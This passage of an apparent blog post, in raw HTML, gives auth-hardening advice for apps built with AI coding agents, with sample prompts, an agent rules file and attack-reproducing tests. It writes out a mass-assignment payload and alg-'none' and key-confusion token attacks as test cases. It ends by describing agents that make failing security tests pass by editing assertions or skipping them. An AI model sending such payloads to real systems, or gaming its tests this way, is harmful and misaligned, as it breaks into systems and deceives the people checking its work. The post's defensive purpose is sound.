  &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;          &lt;span class="c1"&gt;// required by the __Host- prefix&lt;/span&gt;
  &lt;span class="na"&gt;maxAge&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// 10 minutes&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;HttpOnly&lt;/code&gt;&lt;/strong&gt;: JavaScript can't read the token.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;Secure&lt;/code&gt;&lt;/strong&gt;: never sent over plain HTTP.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;SameSite=Strict&lt;/code&gt;&lt;/strong&gt; (or &lt;code&gt;Lax&lt;/code&gt; with a reason): main defense against CSRF.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;__Host-&lt;/code&gt; prefix&lt;/strong&gt;: the browser enforces &lt;code&gt;Secure&lt;/code&gt;, &lt;code&gt;Path=/&lt;/code&gt; and &lt;em&gt;no&lt;/em&gt; &lt;code&gt;Domain&lt;/code&gt;, so a subdomain can't overwrite your cookie.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Rule of thumb: &lt;strong&gt;no tokens, session data or sensitive information in &lt;code&gt;localStorage&lt;/code&gt;, &lt;code&gt;sessionStorage&lt;/code&gt; or IndexedDB. Ever.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Short-lived access token + rotating refresh token
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Access token&lt;/strong&gt;: 5 to 15 minutes. If it leaks, it expires soon.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Refresh token&lt;/strong&gt;: opaque, random (CSPRNG), stored &lt;strong&gt;hashed&lt;/strong&gt; in the database, in its own &lt;code&gt;HttpOnly&lt;/code&gt; cookie scoped to the refresh path.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rotation&lt;/strong&gt;: every refresh issues a &lt;em&gt;new&lt;/em&gt; refresh token and invalidates the old one.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reuse detection&lt;/strong&gt;: if an already-used refresh token shows up again, someone stole it. Revoke the whole token family and force a new login.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Revocation&lt;/strong&gt; on logout, on password change and on 2FA reset.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is what makes "logout" actually log people out.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Asymmetric token signing (RS256 / ES256 / EdDSA)
&lt;/h3&gt;

&lt;p&gt;With HS256, &lt;strong&gt;the key that verifies a token can also create one&lt;/strong&gt;. Every service that validates tokens holds a secret that can mint admin tokens.&lt;/p&gt;

&lt;p&gt;With asymmetric signing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;strong&gt;private key&lt;/strong&gt; lives only in the auth service, which signs tokens.&lt;/li&gt;
&lt;li&gt;Every other service gets the &lt;strong&gt;public key&lt;/strong&gt;, usually from a JWKS endpoint, and can only &lt;em&gt;verify&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Keys carry a &lt;code&gt;kid&lt;/code&gt;, so you can &lt;strong&gt;rotate&lt;/strong&gt; them without downtime.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And always verify strictly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createRemoteJWKSet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;jwtVerify&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;jose&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;jwks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createRemoteJWKSet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://auth.example.com/.well-known/jwks.json&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;jwtVerify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;jwks&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;algorithms&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ES256&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;          &lt;span class="c1"&gt;// pinned: rejects "none" and algorithm confusion&lt;/span&gt;
  &lt;span class="na"&gt;issuer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://auth.example.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;audience&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;api.example.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="c1"&gt;// exp and nbf are checked by default&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Never &lt;code&gt;decode()&lt;/code&gt; without verifying, and never let the token header pick the algorithm.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Not using JWTs? Server-side sessions with an opaque session ID in a &lt;code&gt;__Host-&lt;/code&gt; cookie are a perfectly good choice, and often a simpler one. The cookie rules, expiry, rotation on login and revocation still apply.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  4. Two-factor authentication
&lt;/h3&gt;

&lt;p&gt;Passwords leak. 2FA is what keeps a leaked password from becoming a breach.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Passkeys / WebAuthn&lt;/strong&gt;: the best option. Phishing-resistant by design, because the credential is bound to your domain.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TOTP&lt;/strong&gt; (authenticator apps): a solid, widely supported fallback. Encrypt the TOTP secret at rest.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Recovery codes&lt;/strong&gt;: single use, stored hashed like passwords.&lt;/li&gt;
&lt;li&gt;Avoid SMS as the only second factor if you can (SIM swapping).&lt;/li&gt;
&lt;li&gt;Rate limit the 2FA step too. A 6-digit code can be brute-forced if you don't.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5. Passwords: Argon2id (or bcrypt), nothing else
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Hash with &lt;strong&gt;Argon2id&lt;/strong&gt; (or bcrypt with a reasonable cost). Never MD5, SHA-256 or anything reversible.&lt;/li&gt;
&lt;li&gt;Compare with a constant-time function from the library.&lt;/li&gt;
&lt;li&gt;Optional but valuable: reject passwords that appear in known breaches.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6. CSRF protection, because cookies bring it back
&lt;/h3&gt;

&lt;p&gt;Once auth is in cookies, the browser sends them automatically, and that's exactly what CSRF abuses. On every state-changing route (POST/PUT/PATCH/DELETE):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;SameSite=Strict&lt;/code&gt;/&lt;code&gt;Lax&lt;/code&gt; cookies, &lt;strong&gt;plus&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;a CSRF token (synchronizer or double-submit), &lt;strong&gt;or&lt;/strong&gt; strict &lt;code&gt;Origin&lt;/code&gt; header checking.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  7. Rate limiting, lockout and anti-enumeration
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Rate limit by &lt;strong&gt;IP and by account&lt;/strong&gt; on login, 2FA and password recovery.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Progressive lockout&lt;/strong&gt; (increasing delays) instead of permanent locks that attackers can use to lock users out.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Identical responses and timing&lt;/strong&gt; for "user doesn't exist" and "wrong password".&lt;/li&gt;
&lt;li&gt;Sign-up and password reset need their own rules too. That's the next section.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  8. Sign-up: the auth endpoint everyone forgets
&lt;/h3&gt;

&lt;p&gt;Sign-up doesn't feel like an auth endpoint, so it gets the same shortcuts as login, and agents almost never protect it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The enumeration leak.&lt;/strong&gt; If &lt;code&gt;/register&lt;/code&gt; answers &lt;em&gt;"an account with this email already exists"&lt;/em&gt;, an attacker can check whether any email address has an account. It's the same leak as "user not found" on login, on a different form. The fix:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Always return the same response&lt;/strong&gt;, e.g. &lt;code&gt;202&lt;/code&gt; with "Check your inbox to continue."&lt;/li&gt;
&lt;li&gt;If the address is new, email a &lt;strong&gt;verification link&lt;/strong&gt;. If it's already registered, email a &lt;strong&gt;"you already have an account, here's how to sign in (or reset your password)"&lt;/strong&gt; note instead. The real owner finds out; the attacker learns nothing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keep the timing identical.&lt;/strong&gt; If the "new account" path writes to the database and the "existing account" path returns right away, response time gives the answer away. Do the lookup and the email in a background job:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/register&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;registerRateLimiter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;password&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;registrationSchema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// allowlisted fields only&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;passwordHash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;argon2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// always hash, so both paths cost the same&lt;/span&gt;

  &lt;span class="c1"&gt;// The existence check and the email run in a background job,&lt;/span&gt;
  &lt;span class="c1"&gt;// so the response never depends on whether the address is taken.&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;jobs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;enqueue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;process-signup&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;passwordHash&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;202&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Check your inbox to continue.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;processSignup&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;passwordHash&lt;/span&gt; &lt;span class="p"&gt;}:&lt;/span&gt; &lt;span class="nx"&gt;SignupJob&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;existsByEmail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;mailer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendAlreadyRegisteredNotice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createUnverified&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;passwordHash&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;mailer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendVerificationLink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Its own rate limit.&lt;/strong&gt; &lt;code&gt;/register&lt;/code&gt; needs limits that are &lt;strong&gt;separate from &lt;code&gt;/login&lt;/code&gt;&lt;/strong&gt;, because the abuse looks different. Without them, scripted sign-ups cost nothing, and you only find out when the user table fills up with junk and your email provider starts complaining about bounces.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Rate limit sign-ups per IP (and per email domain if you see abuse), independently of the login limiter.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rate limit emails per recipient.&lt;/strong&gt; Otherwise &lt;code&gt;/register&lt;/code&gt; and "forgot password" become a free way to flood someone's inbox.&lt;/li&gt;
&lt;li&gt;Add a CAPTCHA or Turnstile challenge only when traffic looks suspicious, not for everyone.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The rest of the sign-up checklist:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Allowlist the fields you accept.&lt;/strong&gt; &lt;code&gt;User.create(req.body)&lt;/code&gt; is a classic agent shortcut, and &lt;code&gt;{"email": "...", "password": "...", "role": "admin"}&lt;/code&gt; is a classic mass-assignment attack.&lt;/li&gt;
&lt;li&gt;Accounts stay &lt;strong&gt;unverified&lt;/strong&gt; until the link is clicked, and unverified accounts expire.&lt;/li&gt;
&lt;li&gt;Verification and reset tokens are &lt;strong&gt;random, single-use, short-lived and stored hashed&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;"Forgot password" follows the same rules: always "If an account exists, we sent you a link", same timing, same per-recipient limits.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  9. Security headers that contain the blast radius
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Content-Security-Policy&lt;/strong&gt; without &lt;code&gt;unsafe-inline&lt;/code&gt; / &lt;code&gt;unsafe-eval&lt;/code&gt;. This is your main XSS mitigation.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Strict-Transport-Security&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X-Content-Type-Options: nosniff&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Referrer-Policy: strict-origin-when-cross-origin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;frame-ancestors 'none'&lt;/code&gt; (clickjacking)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Cache-Control: no-store&lt;/code&gt; on authenticated responses&lt;/li&gt;
&lt;li&gt;CORS restricted to explicit origins, &lt;strong&gt;never &lt;code&gt;*&lt;/code&gt; with credentials&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  10. Logs that help you without leaking anything
&lt;/h3&gt;

&lt;p&gt;Log security events (logins, failures, lockouts, 2FA changes, refresh token reuse) &lt;strong&gt;without&lt;/strong&gt; logging passwords, tokens or personal data, and sanitize log input to prevent log injection.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 3: How to ask your agent for all of this
&lt;/h2&gt;

&lt;p&gt;Knowing the baseline doesn't help much if you have to type it every time. Here's what works for me in practice.&lt;/p&gt;

&lt;h3&gt;
  
  
  Bad prompt vs good prompt
&lt;/h3&gt;

&lt;p&gt;❌ &lt;strong&gt;What most people write:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Create a Next.js app with login and a dashboard.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;✅ &lt;strong&gt;What actually gets you a secure result:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Create a Next.js app with login and a dashboard.

Authentication requirements (non-negotiable):
- Never store tokens or session data in localStorage, sessionStorage or IndexedDB.
- Access token (10 min) and refresh token in separate HttpOnly, Secure,
  SameSite=Strict cookies with the __Host- prefix.
- Refresh token rotation with reuse detection; revoke on logout and password change.
- Sign JWTs with ES256 (private key only in the auth service, public key via JWKS,
  key rotation by kid). Pin algorithms and validate exp, nbf, iss and aud.
- Passwords hashed with Argon2id.
- 2FA with TOTP and passkeys (WebAuthn); recovery codes stored hashed.
- CSRF protection on all state-changing routes.
- Rate limiting + progressive lockout on login, 2FA and password reset.
- Identical responses for unknown user and wrong password.
- Sign-up never reveals whether an email exists: always "check your inbox";
  existing accounts get a "you already have an account" email instead of a
  verification link. Lookup and email run in a background job.
- Separate rate limits for /register and /login, plus per-recipient email limits.
- Allowlist accepted fields on sign-up (no mass assignment).
- Strict CSP (no unsafe-inline), HSTS, nosniff, frame-ancestors 'none'.

Before writing code: list the threat model (assets, attack surfaces, trust
boundaries) and ask me about anything ambiguous.
After writing code: review it as a pentester and report residual risks.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The second prompt isn't "prompt engineering magic". It's just &lt;strong&gt;a spec&lt;/strong&gt;. Agents are very good at following specs and very bad at guessing the ones you didn't write.&lt;/p&gt;

&lt;h3&gt;
  
  
  Make it permanent: put the rules in the agent's instruction file
&lt;/h3&gt;

&lt;p&gt;Every serious coding agent reads a persistent instructions file:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Agent&lt;/th&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Claude Code&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;CLAUDE.md&lt;/code&gt; (project) or &lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt; (global)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cursor&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.cursor/rules/*.mdc&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GitHub Copilot&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.github/copilot-instructions.md&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Codex / many others&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AGENTS.md&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Write your security rules there once and they apply to &lt;strong&gt;every&lt;/strong&gt; task, including the ones where you forgot to mention security. This is a trimmed version of what I keep in my global config:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="gu"&gt;## Security (mandatory)&lt;/span&gt;
&lt;span class="p"&gt;
-&lt;/span&gt; At the start of every new project with authentication, ASK ME:
&lt;span class="p"&gt;  1.&lt;/span&gt; Should we use asymmetric tokens (RS256/ES256/EdDSA with JWKS rotation)?
&lt;span class="p"&gt;  2.&lt;/span&gt; Should we require 2FA (TOTP, WebAuthn/passkeys)?
&lt;span class="p"&gt;-&lt;/span&gt; Forbidden: HTTP Basic Auth, plain-text password comparison, static tokens,
  sessions without expiry, and storing tokens or sensitive data in
  localStorage/sessionStorage/IndexedDB.
&lt;span class="p"&gt;-&lt;/span&gt; Required: HttpOnly + Secure + SameSite=Strict cookies (prefer __Host-),
  short-lived access token + refresh rotation with reuse detection,
  CSRF protection, Argon2id/bcrypt, rate limiting with progressive lockout.
&lt;span class="p"&gt;-&lt;/span&gt; Sign-up and password reset never reveal whether an account exists, and
  /register has its own rate limit, separate from /login.
&lt;span class="p"&gt;-&lt;/span&gt; Never use innerHTML / dangerouslySetInnerHTML / v-html with unsanitized data.
&lt;span class="p"&gt;-&lt;/span&gt; Strict CSP (no unsafe-inline/unsafe-eval), HSTS, nosniff, frame-ancestors.
&lt;span class="p"&gt;-&lt;/span&gt; Never weaken, skip or delete a failing security test. Report the failure instead.
&lt;span class="p"&gt;-&lt;/span&gt; Before delivering: review the code as a pentester and report residual risks.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two details make a big difference:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;"Ask me first" rules.&lt;/strong&gt; Forcing the agent to ask about asymmetric tokens and 2FA &lt;em&gt;before&lt;/em&gt; it writes code turns security into an explicit decision instead of a silent default.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Forbidden" lists.&lt;/strong&gt; Agents respect clear prohibitions much more reliably than vague goals like "make it secure".&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Ask for tests that attack your own app
&lt;/h3&gt;

&lt;p&gt;Don't just ask for "tests". Ask for tests that &lt;strong&gt;reproduce attacks&lt;/strong&gt;, so the defenses can't silently regress in a future refactor (one the agent might do itself). Treat them as the first layer, not the last: they live in the same repo the agent edits, which matters more than it seems (more on that below).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Write security tests that prove:
- No auth token is ever readable via document.cookie, localStorage or sessionStorage.
- A token signed with alg "none" or with HS256 using the public key is rejected.
- An expired token, or one with the wrong iss/aud, is rejected.
- Reusing a rotated refresh token revokes the whole session family.
- POST requests without a valid CSRF token / Origin are rejected.
- The 6th failed login in a minute returns 429.
- "Unknown user" and "wrong password" return the same status and body.
- /register returns the same status, body and timing for new and existing emails.
- Sign-ups are rate limited independently of the login limiter.
- Sending "role": "admin" in the sign-up body does not create an admin.
- User A cannot access User B's resources by changing an ID (IDOR).
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Close the loop: verify, don't trust
&lt;/h3&gt;

&lt;p&gt;The agent's own "I implemented secure auth" is not evidence. Check for yourself:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;DevTools → Application → Local Storage / Session Storage&lt;/strong&gt;: they should be empty of anything auth-related.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DevTools → Application → Cookies&lt;/strong&gt;: &lt;code&gt;HttpOnly&lt;/code&gt; ✓, &lt;code&gt;Secure&lt;/code&gt; ✓, &lt;code&gt;SameSite&lt;/code&gt; ✓, &lt;code&gt;__Host-&lt;/code&gt; prefix.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;grep -rn "localStorage\|sessionStorage" src/&lt;/code&gt; on the frontend.&lt;/li&gt;
&lt;li&gt;Run a security review pass (e.g. &lt;code&gt;/security-review&lt;/code&gt; in Claude Code), plus &lt;strong&gt;Semgrep/CodeQL&lt;/strong&gt; and &lt;code&gt;npm audit&lt;/code&gt; in CI.&lt;/li&gt;
&lt;li&gt;Check your headers with &lt;a href="https://securityheaders.com" rel="noopener noreferrer"&gt;securityheaders.com&lt;/a&gt; or OWASP ZAP.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Independent checks against the deployed app
&lt;/h3&gt;

&lt;p&gt;Everything above still has a gap: &lt;strong&gt;the agent that writes the code also writes the tests.&lt;/strong&gt; When a security test fails, the shortest path to green is not always fixing the code. It can be changing an expected &lt;code&gt;429&lt;/code&gt; to &lt;code&gt;200&lt;/code&gt;, adding a &lt;code&gt;.skip&lt;/code&gt;, or "updating the assertion to match the new behavior". That's the same shortcut this whole post is about.&lt;/p&gt;

